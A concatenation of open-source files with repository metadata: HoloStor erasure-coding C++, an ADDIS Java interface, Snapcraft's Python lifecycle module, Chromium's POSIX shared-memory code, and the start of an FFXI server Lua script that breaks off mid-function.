but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with HoloStor. If not, see <http://www.gnu.org/licenses/>.
Parts of HoloStor are protected by US Patent 7,472,334, the use of
which is granted in accordance to the terms of GPLv3.
*/
/*****************************************************************************
Module Name:
CodingTable.cpp
Abstract:
Implementation of the CodingTable class. CodingTable is a container for
the CodingMatrix class. The primary requirement is fast lookup given a
uInvalidMask.
--****************************************************************************/
#include "CodingTable.hpp"
//
#include "MathUtils.hpp"
#include "CombinIter.hpp"
#include "IDA.hpp"
//
#include <assert.h> // for ANSI assert()
namespace HoloStor {
//
// Calculate a table index based on a bit-mask of invalid blocks. Bits within Mask
// are numbered 1 (LSB) thru M (MSB). M is the same as the Blocks argument. Suppose
// bits A0, A1, A2 are on where A0 > A1 > A2. Then the index returned is
// A2*(Blocks)**2 + A1*(Blocks)**1 + A0.
// The problem is similar to converting BCD (base M) to binary.
//
// Properties:
// + 0 returned implies 0 bits on.
// + returned value > _MaxHash(n,k) implies more than k bits on.
//
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable:4035) // no return value
UINT32
Mask2Index(
UINT32 Mask, // Bit mask of invalid blocks
UINT32 Blocks // Number of blocks
)
{
__asm {
mov ecx, Mask
xor eax, eax
A:
cmp ecx, 0 // Stop when no more bits are on
jz B
imul eax, Blocks // Scale index by # of blocks
bsf edx, ecx // Find the lowest on bit
btr ecx, edx // Turn off the bit
lea eax, [edx+eax+1] // Add the bit # + 1 to index
jmp A
B:
}
}
#pragma warning(pop)
#elif defined(__GNUC__) // XXX - works for -O2 but not for -O3
UINT32
Mask2Index(
UINT32 Mask, // Bit mask of invalid blocks
UINT32 Blocks // Number of blocks
)
{
UINT32 sum;
__asm__ __volatile__(
"movl %1,%%ecx\n\t"
"xorl %%eax,%%eax\n"
"0:\n\t"
"cmpl $0,%%ecx\n\t"
"jz 0f\n\t"
"imull %2,%%eax\n\t"
"bsfl %%ecx,%%edx\n\t"
"btrl %%edx,%%ecx\n\t"
"leal 1(%%edx,%%eax),%%eax\n\t"
"jmp 0b\n"
"0:"
:"=a" (sum) : "m" (Mask), "m" (Blocks) : "ecx","edx"
);
return sum;
}
#else // !defined(_MSC_VER) && !defined(__GNUC__)
UINT32
Mask2Index(
UINT32 Mask, // Bit mask of invalid blocks
UINT32 Blocks // Number of blocks
)
{
UINT32 sum = 0;
for (int index = 0; index < Blocks; index++)
if (Mask & (1<<index)) {
sum *= Blocks;
sum += index+1;
}
return sum;
}
#endif // defined(_MSC_VER)
// When there are k bits on, Mask2Index() returns sum from i=0 to k-1 a[i]*M**i
// where M=n+k and a[i] is the bit position number. Bit position numbers are 1..M
// and ordered such that a[0] > a[1] > a[2] ... The returned value is maximal
// for a[0]=M, a[1]=M-1, ...
unsigned
CodingTable::_MaxHash(unsigned n, unsigned k)
{
const unsigned M = n + k;
unsigned factor = 1;
unsigned sum = 0;
for (unsigned i = 0; i < k; i++) {
sum += (M - i)*factor;
factor *= M;
}
return sum;
}
unsigned
CodingTable::_MatrixCount(unsigned n, unsigned k)
{
unsigned sum = 0;
for (unsigned i = 1; i <= k; i++)
sum += HoloStor::combinations(n+k, i);
return sum;
}
void
CodingTable::_cleanup()
{
if (pHashTable != NULL)
HoloStor_TableFree(pHashTable); // instead of: delete [] pHashTable;
pHashTable = NULL;
if (pCodeTable != NULL)
delete [] pCodeTable;
pCodeTable = NULL;
}
int
CodingTable::CodingTableInit(const HOLOSTOR_CFG *pCfg)
{
if (pCfg->BlockSize < CodingMatrix::MinBlockSize())
return HOLOSTOR_STATUS_BAD_CONFIGURATION;
const unsigned n = pCfg->DataBlocks;
const unsigned k = pCfg->EccBlocks;
if (n < MinN || n > MaxN || k < MinK || k > MaxK) // impose limits before too late
return HOLOSTOR_STATUS_BAD_CONFIGURATION;
IDA generator;
if ( !generator.IDAInit(n, k) )
return HOLOSTOR_STATUS_BAD_CONFIGURATION; // unsupported combination of n and k
//
_cleanup();
nTotalBlocks = n + k;
//
nMatrices = _MatrixCount(n, k);
pCodeTable = new CodingMatrix[nMatrices]; // uses HoloStor_TableAlloc()
WORKAROUND1(pCodeTable); // XXX - GCC 3.3.1 bug workaround
if (pCodeTable == NULL)
return HOLOSTOR_STATUS_NO_MEMORY;
nHashValues = _MaxHash(n, k) + 1; // k needs to be limited here
// OK to bypass operator new[] since CodingIndex is a primitive type.
// pHashTable = new CodingIndex[nHashValues];
pHashTable =
(CodingIndex*)HoloStor_TableAlloc(sizeof(CodingIndex)*nHashValues);
if (pHashTable == NULL)
return HOLOSTOR_STATUS_NO_MEMORY;
for (unsigned i = 0; i < nHashValues; i++)
pHashTable[i] = BadHash;
//
unsigned index = 0;
for (unsigned nFaults = 1; nFaults <= k; nFaults++) {
CombinIter iter;
if ( !iter.CombinIterInit(nTotalBlocks, nFaults) )
return HOLOSTOR_STATUS_BAD_CONFIGURATION; // XXX - shouldn't happen
Tuple ktuple;
while ( iter.Draw(ktuple) ) {
if ( !pCodeTable[index].CodingMatrixInit(ktuple, generator) )
return HOLOSTOR_STATUS_NO_MEMORY;
UINT32 hash = Mask2Index(ktuple.mask(), nTotalBlocks);
assert(hash < nHashValues && index < nMatrices);
pHashTable[hash] = index++;
}
}
return HOLOSTOR_STATUS_SUCCESS;
}
CodingMatrix *
CodingTable::lookup(UINT32 uInvalidMask) const
{
UINT32 hash = Mask2Index(uInvalidMask, nTotalBlocks);
if (hash == 0 || hash >= nHashValues)
return NULL; // either none or too many faults to recover
unsigned index = pHashTable[hash];
assert(index != BadHash && index < nMatrices);
return &pCodeTable[index];
}
} // namespace HoloStor
| gpl-3.0 |
Alberto-Beralix/Beralix | i386-squashfs-root/usr/lib/python2.7/dist-packages/dateutil/relativedelta.py | 52 | ../../../../share/pyshared/dateutil/relativedelta.py | gpl-3.0 |
gertvv/addis | application/src/main/java/org/drugis/addis/entities/relativeeffect/Distribution.java | 1772 | /*
* This file is part of ADDIS (Aggregate Data Drug Information System).
* ADDIS is distributed from http://drugis.org/.
* Copyright © 2009 Gert van Valkenhoef, Tommi Tervonen.
* Copyright © 2010 Gert van Valkenhoef, Tommi Tervonen, Tijs Zwinkels,
* Maarten Jacobs, Hanno Koeslag, Florin Schimbinschi, Ahmad Kamal, Daniel
* Reid.
* Copyright © 2011 Gert van Valkenhoef, Ahmad Kamal, Daniel Reid, Florin
* Schimbinschi.
* Copyright © 2012 Gert van Valkenhoef, Daniel Reid, Joël Kuiper, Wouter
* Reckman.
* Copyright © 2013 Gert van Valkenhoef, Joël Kuiper.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.drugis.addis.entities.relativeeffect;
import com.jgoodies.binding.beans.Observable;
public interface Distribution extends Observable {
/**
* Get the p-probability quantile.
* @param p probability in [0, 1]
* @return the quantile.
*/
public double getQuantile(double p);
/**
* Calculate the cumulative probability of <code>x</code>
*/
public double getCumulativeProbability(double x);
/**
* Get the axis type (does it make sense to plot this on a normal or log scale?
*/
public AxisType getAxisType();
}
| gpl-3.0 |
didrocks/snapcraft | snapcraft/internal/lifecycle.py | 16205 | # -*- Mode:Python; indent-tabs-mode:nil; tab-width:4 -*-
#
# Copyright (C) 2015 Canonical Ltd
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 3 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import contextlib
import logging
import os
import shutil
import sys
import tarfile
import time
from subprocess import Popen, PIPE, STDOUT
import yaml
from progressbar import AnimatedMarker, ProgressBar
import snapcraft
import snapcraft.internal
from snapcraft.internal import (
common,
lxd,
meta,
pluginhandler,
repo,
)
logger = logging.getLogger(__name__)
_TEMPLATE_YAML = """name: my-snap # the name of the snap
version: 0 # the version of the snap
summary: This is my-snap's summary # 79 char long summary
description: This is my-snap's description # a longer description for the snap
confinement: devmode # use "strict" to enforce system access only via \
declared interfaces
parts:
my-part: # Replace with a part name of your liking
# Get more information about plugins by running
# snapcraft help plugins
# and more information about the available plugins
# by running
# snapcraft list-plugins
plugin: nil
"""
_STEPS_TO_AUTOMATICALLY_CLEAN_IF_DIRTY = {'stage', 'prime'}
def init():
"""Initialize a snapcraft project."""
if os.path.exists('snapcraft.yaml'):
raise EnvironmentError('snapcraft.yaml already exists!')
yaml = _TEMPLATE_YAML.strip()
with open('snapcraft.yaml', mode='w+') as f:
f.write(yaml)
logger.info('Created snapcraft.yaml.')
logger.info(
'Edit the file to your liking or run `snapcraft` to get started')
def execute(step, project_options, part_names=None):
"""Execute until step in the lifecycle for part_names or all parts.
Lifecycle execution will happen for each step iterating over all
the available parts, if part_names is specified, only those parts
will run.
If one of the parts to execute has an after keyword, execution is
forced until the stage step for such part. If part_names was provided
and after is not in this set, an exception will be raised.
:param str step: A valid step in the lifecycle: pull, build, prime or snap.
:param project_options: Runtime options for the project.
:param list part_names: A list of parts to execute the lifecycle on.
:raises RuntimeError: If a prerequesite of the part needs to be staged
and such part is not in the list of parts to iterate
over.
:returns: A dict with the snap name, version, type and architectures.
"""
config = snapcraft.internal.load_config(project_options)
repo.install_build_packages(config.build_tools)
_Executor(config, project_options).run(step, part_names)
return {'name': config.data['name'],
'version': config.data['version'],
'arch': config.data['architectures'],
'type': config.data.get('type', '')}
class _Executor:
def __init__(self, config, project_options):
self.config = config
self.project_options = project_options
def run(self, step, part_names=None, recursed=False):
if part_names:
self.config.validate_parts(part_names)
parts = {p for p in self.config.all_parts if p.name in part_names}
else:
parts = self.config.all_parts
part_names = self.config.part_names
dirty = {p.name for p in parts if p.should_step_run('stage')}
step_index = common.COMMAND_ORDER.index(step) + 1
for step in common.COMMAND_ORDER[0:step_index]:
if step == 'stage':
pluginhandler.check_for_collisions(self.config.all_parts)
for part in parts:
self._run_step(step, part, part_names, dirty, recursed)
self._create_meta(step, part_names)
def _run_step(self, step, part, part_names, dirty, recursed):
common.reset_env()
prereqs = self.config.part_prereqs(part.name)
if recursed:
prereqs = prereqs & dirty
if prereqs and not prereqs.issubset(part_names):
for prereq in self.config.all_parts:
if prereq.name in prereqs and prereq.should_step_run('stage'):
raise RuntimeError(
'Requested {!r} of {!r} but there are unsatisfied '
'prerequisites: {!r}'.format(
step, part.name, ' '.join(prereqs)))
elif prereqs:
# prerequisites need to build all the way to the staging
# step to be able to share the common assets that make them
# a dependency.
logger.info(
'{!r} has prerequisites that need to be staged: '
'{}'.format(part.name, ' '.join(prereqs)))
self.run('stage', prereqs, recursed=True)
if part.is_dirty(step):
self._handle_dirty(part, step)
if not part.should_step_run(step):
part.notify_part_progress('Skipping {}'.format(step),
'(already ran)')
return
# Run the preparation function for this step (if implemented)
with contextlib.suppress(AttributeError):
getattr(part, 'prepare_{}'.format(step))()
common.env = self.config.build_env_for_part(part)
getattr(part, step)()
def _create_meta(self, step, part_names):
if step == 'prime' and part_names == self.config.part_names:
common.env = self.config.snap_env()
meta.create_snap_packaging(self.config.data,
self.project_options.snap_dir,
self.project_options.parts_dir)
def _handle_dirty(self, part, step):
if step not in _STEPS_TO_AUTOMATICALLY_CLEAN_IF_DIRTY:
raise RuntimeError(
'The {0!r} step of {1!r} is out of date. Please clean that '
"part's {0!r} step in order to rebuild".format(
step, part.name))
staged_state = self.config.get_project_state('stage')
primed_state = self.config.get_project_state('prime')
# We need to clean this step, but if it involves cleaning the stage
# step and it has dependents that have been built, we need to ask for
# them to first be cleaned (at least back to the build step).
index = common.COMMAND_ORDER.index(step)
dependents = self.config.part_dependents(part.name)
if (index <= common.COMMAND_ORDER.index('stage') and
not part.is_clean('stage') and dependents):
for dependent in self.config.all_parts:
if (dependent.name in dependents and
not dependent.is_clean('build')):
humanized_parts = _humanize_list(dependents)
raise RuntimeError(
'The {0!r} step for {1!r} needs to be run again, but '
'{2} depend{3} upon it. Please clean the build '
'step of {2} first.'.format(
step, part.name, humanized_parts,
's' if len(dependents) == 1 else ''))
part.clean(staged_state, primed_state, step, '(out of date)')
def _create_tar_filter(tar_filename):
def _tar_filter(tarinfo):
fn = tarinfo.name
if fn.startswith('./parts/') and not fn.startswith('./parts/plugins'):
return None
elif fn in ('./stage', './prime', './snap', tar_filename):
return None
elif fn.endswith('.snap'):
return None
return tarinfo
return _tar_filter
def cleanbuild(project_options):
if not repo.is_package_installed('lxd'):
raise EnvironmentError(
'The lxd package is not installed, in order to use `cleanbuild` '
'you must install lxd onto your system. Refer to the '
'"Ubuntu Desktop and Ubuntu Server" section on '
'https://linuxcontainers.org/lxd/getting-started-cli/'
'#ubuntu-desktop-and-ubuntu-server to enable a proper setup.')
config = snapcraft.internal.load_config(project_options)
tar_filename = '{}_{}_source.tar.bz2'.format(
config.data['name'], config.data['version'])
with tarfile.open(tar_filename, 'w:bz2') as t:
t.add(os.path.curdir, filter=_create_tar_filter(tar_filename))
snap_filename = common.format_snap_name(config.data)
lxd.Cleanbuilder(snap_filename, tar_filename, project_options).execute()
def _snap_data_from_dir(directory):
with open(os.path.join(directory, 'meta', 'snap.yaml')) as f:
snap = yaml.load(f)
return {'name': snap['name'],
'version': snap['version'],
'arch': snap.get('architectures', []),
'type': snap.get('type', '')}
def snap(project_options, directory=None, output=None):
if directory:
snap_dir = os.path.abspath(directory)
snap = _snap_data_from_dir(snap_dir)
else:
# make sure the full lifecycle is executed
snap_dir = project_options.snap_dir
snap = execute('prime', project_options)
snap_name = output or common.format_snap_name(snap)
# These options need to match the review tools:
# http://bazaar.launchpad.net/~click-reviewers/click-reviewers-tools/trunk/view/head:/clickreviews/common.py#L38
mksquashfs_args = ['-noappend', '-comp', 'xz', '-no-xattrs']
if snap['type'] != 'os':
mksquashfs_args.append('-all-root')
with Popen(['mksquashfs', snap_dir, snap_name] + mksquashfs_args,
stdout=PIPE, stderr=STDOUT) as proc:
ret = None
if os.isatty(sys.stdout.fileno()):
message = '\033[0;32m\rSnapping {!r}\033[0;32m '.format(
snap['name'])
progress_indicator = ProgressBar(
widgets=[message, AnimatedMarker()], maxval=7)
progress_indicator.start()
ret = proc.poll()
count = 0
while ret is None:
if count >= 7:
progress_indicator.start()
count = 0
progress_indicator.update(count)
count += 1
time.sleep(.2)
ret = proc.poll()
else:
logger.info('Snapping {!r} ...'.format(snap['name']))
ret = proc.wait()
print('')
if ret != 0:
logger.error(proc.stdout.read().decode('utf-8'))
raise RuntimeError('Failed to create snap {!r}'.format(snap_name))
logger.debug(proc.stdout.read().decode('utf-8'))
logger.info('Snapped {}'.format(snap_name))
def _reverse_dependency_tree(config, part_name):
dependents = config.part_dependents(part_name)
for dependent in dependents.copy():
# No need to worry about infinite recursion due to circular
# dependencies since the YAML validation won't allow it.
dependents |= _reverse_dependency_tree(config, dependent)
return dependents
def _clean_part_and_all_dependents(part_name, step, config, staged_state,
primed_state):
# Obtain the reverse dependency tree for this part. Make sure all
# dependents are cleaned.
dependents = _reverse_dependency_tree(config, part_name)
dependent_parts = {p for p in config.all_parts
if p.name in dependents}
for dependent_part in dependent_parts:
dependent_part.clean(staged_state, primed_state, step)
# Finally, clean the part in question
config.get_part(part_name).clean(staged_state, primed_state, step)
def _humanize_list(items):
if len(items) == 0:
return ''
quoted_items = ['{!r}'.format(item) for item in sorted(items)]
if len(items) == 1:
return quoted_items[0]
humanized = ', '.join(quoted_items[:-1])
if len(items) > 2:
humanized += ','
return '{} and {}'.format(humanized, quoted_items[-1])
def _verify_dependents_will_be_cleaned(part_name, clean_part_names, step,
config):
# Get the name of the parts that depend upon this one
dependents = config.part_dependents(part_name)
# Verify that they're either already clean, or that they will be cleaned.
if not dependents.issubset(clean_part_names):
for part in config.all_parts:
if part.name in dependents and not part.is_clean(step):
humanized_parts = _humanize_list(dependents)
raise RuntimeError(
'Requested clean of {!r} but {} depend{} upon it. Please '
"add each to the clean command if that's what you "
'intended.'.format(part_name, humanized_parts,
's' if len(dependents) == 1 else ''))
def _clean_parts(part_names, step, config, staged_state, primed_state):
if not step:
step = 'pull'
# Before doing anything, verify that we weren't asked to clean only the
# root of a dependency tree (the entire tree must be specified).
for part_name in part_names:
_verify_dependents_will_be_cleaned(part_name, part_names, step, config)
# Now we can actually clean.
for part_name in part_names:
_clean_part_and_all_dependents(
part_name, step, config, staged_state, primed_state)
def _remove_directory_if_empty(directory):
if os.path.isdir(directory) and not os.listdir(directory):
os.rmdir(directory)
def _cleanup_common_directories(config, project_options):
_remove_directory_if_empty(project_options.parts_dir)
_remove_directory_if_empty(project_options.stage_dir)
_remove_directory_if_empty(project_options.snap_dir)
max_index = -1
for part in config.all_parts:
step = part.last_step()
if step:
index = common.COMMAND_ORDER.index(step)
if index > max_index:
max_index = index
# If no parts have been pulled, remove the parts directory. In most cases
# this directory should have already been cleaned, but this handles the
# case of a failed pull. Note however that the presence of local plugins
# should prevent this removal.
if (max_index < common.COMMAND_ORDER.index('pull') and
os.path.exists(project_options.parts_dir) and not
os.path.exists(project_options.local_plugins_dir)):
logger.info('Cleaning up parts directory')
shutil.rmtree(project_options.parts_dir)
# If no parts have been staged, remove staging area.
should_remove_stagedir = max_index < common.COMMAND_ORDER.index('stage')
if should_remove_stagedir and os.path.exists(project_options.stage_dir):
logger.info('Cleaning up staging area')
shutil.rmtree(project_options.stage_dir)
# If no parts have been primed, remove snapping area.
should_remove_snapdir = max_index < common.COMMAND_ORDER.index('prime')
if should_remove_snapdir and os.path.exists(project_options.snap_dir):
logger.info('Cleaning up snapping area')
shutil.rmtree(project_options.snap_dir)
def clean(project_options, parts, step=None):
config = snapcraft.internal.load_config()
if parts:
config.validate_parts(parts)
else:
parts = [part.name for part in config.all_parts]
staged_state = config.get_project_state('stage')
primed_state = config.get_project_state('prime')
_clean_parts(parts, step, config, staged_state, primed_state)
_cleanup_common_directories(config, project_options)
| gpl-3.0 |
Passw/gn_GFW | base/memory/shared_memory_posix.cc | 12626 | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/memory/shared_memory.h"
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include "base/files/file_util.h"
#include "base/files/scoped_file.h"
#include "base/logging.h"
#include "base/macros.h"
#include "base/memory/shared_memory_helper.h"
#include "base/memory/shared_memory_tracker.h"
#include "base/posix/eintr_wrapper.h"
#include "base/posix/safe_strerror.h"
#include "base/process/process_metrics.h"
#include "base/scoped_generic.h"
#include "base/strings/utf_string_conversions.h"
#include "base/threading/thread_restrictions.h"
#include "base/trace_event/trace_event.h"
#include "base/unguessable_token.h"
#include "build/build_config.h"
#if defined(OS_ANDROID)
#include "base/os_compat_android.h"
#include "third_party/ashmem/ashmem.h"
#endif
#if defined(OS_MACOSX) && !defined(OS_IOS)
#error "MacOS uses shared_memory_mac.cc"
#endif
namespace base {
SharedMemory::SharedMemory() = default;
SharedMemory::SharedMemory(const SharedMemoryHandle& handle, bool read_only)
: shm_(handle), read_only_(read_only) {}
SharedMemory::~SharedMemory() {
Unmap();
Close();
}
// static
bool SharedMemory::IsHandleValid(const SharedMemoryHandle& handle) {
return handle.IsValid();
}
// static
void SharedMemory::CloseHandle(const SharedMemoryHandle& handle) {
DCHECK(handle.IsValid());
handle.Close();
}
// static
size_t SharedMemory::GetHandleLimit() {
return GetMaxFds();
}
// static
SharedMemoryHandle SharedMemory::DuplicateHandle(
const SharedMemoryHandle& handle) {
return handle.Duplicate();
}
// static
int SharedMemory::GetFdFromSharedMemoryHandle(
const SharedMemoryHandle& handle) {
return handle.GetHandle();
}
bool SharedMemory::CreateAndMapAnonymous(size_t size) {
return CreateAnonymous(size) && Map(size);
}
#if !defined(OS_ANDROID)
// Chromium mostly only uses the unique/private shmem as specified by
// "name == L"". The exception is in the StatsTable.
// TODO(jrg): there is no way to "clean up" all unused named shmem if
// we restart from a crash. (That isn't a new problem, but it is a problem.)
// In case we want to delete it later, it may be useful to save the value
// of mem_filename after FilePathForMemoryName().
bool SharedMemory::Create(const SharedMemoryCreateOptions& options) {
DCHECK(!shm_.IsValid());
if (options.size == 0) return false;
if (options.size > static_cast<size_t>(std::numeric_limits<int>::max()))
return false;
// This function theoretically can block on the disk, but realistically
// the temporary files we create will just go into the buffer cache
// and be deleted before they ever make it out to disk.
ThreadRestrictions::ScopedAllowIO allow_io;
bool fix_size = true;
ScopedFD fd;
ScopedFD readonly_fd;
FilePath path;
if (!options.name_deprecated || options.name_deprecated->empty()) {
bool result =
CreateAnonymousSharedMemory(options, &fd, &readonly_fd, &path);
if (!result)
return false;
} else {
if (!FilePathForMemoryName(*options.name_deprecated, &path))
return false;
// Make sure that the file is opened without any permission
// to other users on the system.
const mode_t kOwnerOnly = S_IRUSR | S_IWUSR;
// First, try to create the file.
fd.reset(HANDLE_EINTR(
open(path.value().c_str(), O_RDWR | O_CREAT | O_EXCL, kOwnerOnly)));
if (!fd.is_valid() && options.open_existing_deprecated) {
// If this doesn't work, try and open an existing file in append mode.
// Opening an existing file in a world writable directory has two main
// security implications:
// - Attackers could plant a file under their control, so ownership of
// the file is checked below.
// - Attackers could plant a symbolic link so that an unexpected file
// is opened, so O_NOFOLLOW is passed to open().
#if !defined(OS_AIX)
fd.reset(HANDLE_EINTR(
open(path.value().c_str(), O_RDWR | O_APPEND | O_NOFOLLOW)));
#else
// AIX has no 64-bit support for open flags such as -
// O_CLOEXEC, O_NOFOLLOW and O_TTY_INIT.
fd.reset(HANDLE_EINTR(open(path.value().c_str(), O_RDWR | O_APPEND)));
#endif
// Check that the current user owns the file.
// If uid != euid, then a more complex permission model is used and this
// API is not appropriate.
const uid_t real_uid = getuid();
const uid_t effective_uid = geteuid();
struct stat sb;
if (fd.is_valid() &&
(fstat(fd.get(), &sb) != 0 || sb.st_uid != real_uid ||
sb.st_uid != effective_uid)) {
LOG(ERROR) <<
"Invalid owner when opening existing shared memory file.";
close(fd.get());
return false;
}
// An existing file was opened, so its size should not be fixed.
fix_size = false;
}
if (options.share_read_only) {
// Also open as readonly so that we can GetReadOnlyHandle.
readonly_fd.reset(HANDLE_EINTR(open(path.value().c_str(), O_RDONLY)));
if (!readonly_fd.is_valid()) {
DPLOG(ERROR) << "open(\"" << path.value() << "\", O_RDONLY) failed";
close(fd.get());
return false;
}
}
if (fd.is_valid()) {
// "a+" is always appropriate: if it's a new file, a+ is similar to w+.
if (!fdopen(fd.get(), "a+")) {
PLOG(ERROR) << "Creating file stream in " << path.value() << " failed";
return false;
}
}
}
if (fd.is_valid() && fix_size) {
// Get current size.
struct stat stat;
if (fstat(fd.get(), &stat) != 0)
return false;
const size_t current_size = stat.st_size;
if (current_size != options.size) {
if (HANDLE_EINTR(ftruncate(fd.get(), options.size)) != 0)
return false;
}
requested_size_ = options.size;
}
if (!fd.is_valid()) {
PLOG(ERROR) << "Creating shared memory in " << path.value() << " failed";
FilePath dir = path.DirName();
if (access(dir.value().c_str(), W_OK | X_OK) < 0) {
PLOG(ERROR) << "Unable to access(W_OK|X_OK) " << dir.value();
if (dir.value() == "/dev/shm") {
LOG(FATAL) << "This is frequently caused by incorrect permissions on "
<< "/dev/shm. Try 'sudo chmod 1777 /dev/shm' to fix.";
}
}
return false;
}
int mapped_file = -1;
int readonly_mapped_file = -1;
bool result = PrepareMapFile(std::move(fd), std::move(readonly_fd),
&mapped_file, &readonly_mapped_file);
shm_ = SharedMemoryHandle(FileDescriptor(mapped_file, false), options.size,
UnguessableToken::Create());
readonly_shm_ =
SharedMemoryHandle(FileDescriptor(readonly_mapped_file, false),
options.size, shm_.GetGUID());
return result;
}
// Our current implementation of shmem is with mmap()ing of files.
// These files need to be deleted explicitly.
// In practice this call is only needed for unit tests.
bool SharedMemory::Delete(const std::string& name) {
FilePath path;
if (!FilePathForMemoryName(name, &path))
return false;
if (PathExists(path))
return DeleteFile(path, false);
// Doesn't exist, so success.
return true;
}
bool SharedMemory::Open(const std::string& name, bool read_only) {
FilePath path;
if (!FilePathForMemoryName(name, &path))
return false;
read_only_ = read_only;
int mode = read_only ? O_RDONLY : O_RDWR;
ScopedFD fd(HANDLE_EINTR(open(path.value().c_str(), mode)));
ScopedFD readonly_fd(HANDLE_EINTR(open(path.value().c_str(), O_RDONLY)));
if (!readonly_fd.is_valid()) {
DPLOG(ERROR) << "open(\"" << path.value() << "\", O_RDONLY) failed";
return false;
}
int mapped_file = -1;
int readonly_mapped_file = -1;
bool result = PrepareMapFile(std::move(fd), std::move(readonly_fd),
&mapped_file, &readonly_mapped_file);
// This form of sharing shared memory is deprecated. https://crbug.com/345734.
// However, we can't get rid of it without a significant refactor because its
// used to communicate between two versions of the same service process, very
// early in the life cycle.
// Technically, we should also pass the GUID from the original shared memory
// region. We don't do that - this means that we will overcount this memory,
// which thankfully isn't relevant since Chrome only communicates with a
// single version of the service process.
// We pass the size |0|, which is a dummy size and wrong, but otherwise
// harmless.
shm_ = SharedMemoryHandle(FileDescriptor(mapped_file, false), 0u,
UnguessableToken::Create());
readonly_shm_ = SharedMemoryHandle(
FileDescriptor(readonly_mapped_file, false), 0, shm_.GetGUID());
return result;
}
#endif // !defined(OS_ANDROID)
bool SharedMemory::MapAt(off_t offset, size_t bytes) {
if (!shm_.IsValid())
return false;
if (bytes > static_cast<size_t>(std::numeric_limits<int>::max()))
return false;
if (memory_)
return false;
#if defined(OS_ANDROID)
// On Android, Map can be called with a size and offset of zero to use the
// ashmem-determined size.
if (bytes == 0) {
DCHECK_EQ(0, offset);
int ashmem_bytes = ashmem_get_size_region(shm_.GetHandle());
if (ashmem_bytes < 0)
return false;
bytes = ashmem_bytes;
}
// Sanity check. This shall catch invalid uses of the SharedMemory APIs
// but will not protect against direct mmap() attempts.
if (shm_.IsReadOnly()) {
// Use a DCHECK() to call writable mappings with read-only descriptors
// in debug builds immediately. Return an error for release builds
// or during unit-testing (assuming a ScopedLogAssertHandler was installed).
DCHECK(read_only_)
<< "Trying to map a region writable with a read-only descriptor.";
if (!read_only_) {
return false;
}
if (!shm_.SetRegionReadOnly()) { // Ensure the region is read-only.
return false;
}
}
#endif
memory_ = mmap(nullptr, bytes, PROT_READ | (read_only_ ? 0 : PROT_WRITE),
MAP_SHARED, shm_.GetHandle(), offset);
bool mmap_succeeded = memory_ && memory_ != reinterpret_cast<void*>(-1);
if (mmap_succeeded) {
mapped_size_ = bytes;
mapped_id_ = shm_.GetGUID();
DCHECK_EQ(0U,
reinterpret_cast<uintptr_t>(memory_) &
(SharedMemory::MAP_MINIMUM_ALIGNMENT - 1));
SharedMemoryTracker::GetInstance()->IncrementMemoryUsage(*this);
} else {
memory_ = nullptr;
}
return mmap_succeeded;
}
bool SharedMemory::Unmap() {
if (!memory_)
return false;
SharedMemoryTracker::GetInstance()->DecrementMemoryUsage(*this);
munmap(memory_, mapped_size_);
memory_ = nullptr;
mapped_size_ = 0;
mapped_id_ = UnguessableToken();
return true;
}
SharedMemoryHandle SharedMemory::handle() const {
return shm_;
}
SharedMemoryHandle SharedMemory::TakeHandle() {
SharedMemoryHandle handle_copy = shm_;
handle_copy.SetOwnershipPassesToIPC(true);
Unmap();
shm_ = SharedMemoryHandle();
return handle_copy;
}
#if !defined(OS_ANDROID)
void SharedMemory::Close() {
if (shm_.IsValid()) {
shm_.Close();
shm_ = SharedMemoryHandle();
}
if (readonly_shm_.IsValid()) {
readonly_shm_.Close();
readonly_shm_ = SharedMemoryHandle();
}
}
// For the given shmem named |mem_name|, return a filename to mmap()
// (and possibly create). Modifies |filename|. Return false on
// error, or true of we are happy.
bool SharedMemory::FilePathForMemoryName(const std::string& mem_name,
FilePath* path) {
// mem_name will be used for a filename; make sure it doesn't
// contain anything which will confuse us.
DCHECK_EQ(std::string::npos, mem_name.find('/'));
DCHECK_EQ(std::string::npos, mem_name.find('\0'));
FilePath temp_dir;
if (!GetShmemTempDir(false, &temp_dir))
return false;
#if defined(GOOGLE_CHROME_BUILD)
static const char kShmem[] = "com.google.Chrome.shmem.";
#else
static const char kShmem[] = "org.chromium.Chromium.shmem.";
#endif
CR_DEFINE_STATIC_LOCAL(const std::string, name_base, (kShmem));
*path = temp_dir.AppendASCII(name_base + mem_name);
return true;
}
SharedMemoryHandle SharedMemory::GetReadOnlyHandle() const {
CHECK(readonly_shm_.IsValid());
return readonly_shm_.Duplicate();
}
#endif // !defined(OS_ANDROID)
} // namespace base
| gpl-3.0 |
kidaa/FFXIOrgins | scripts/zones/Gusgen_Mines/npcs/qm4.lua | 1383 | -----------------------------------
-- Area: Gusgen Mines
-- NPC: qm4 (???)
-- Involved In Quest: Ghosts of the Past
-- @pos -174 0 369 196
-----------------------------------
package.loaded["scripts/zones/Gusgen_Mines/TextIDs"] = nil;
-----------------------------------
require("scripts/globals/settings");
require("scripts/globals/quests");
require("scripts/zones/Gusgen_Mines/TextIDs");
-----------------------------------
-- onTrade Action
-----------------------------------
function onTrade(player,npc,trade)
if(player:getQuestStatus(BASTOK,GHOSTS_OF_THE_PAST) == QUEST_ACCEPTED and player:hasItem(13122) == false) then
if(trade:hasItemQty(605,1) and trade:getItemCount() == 1) then -- Trade Pickaxe
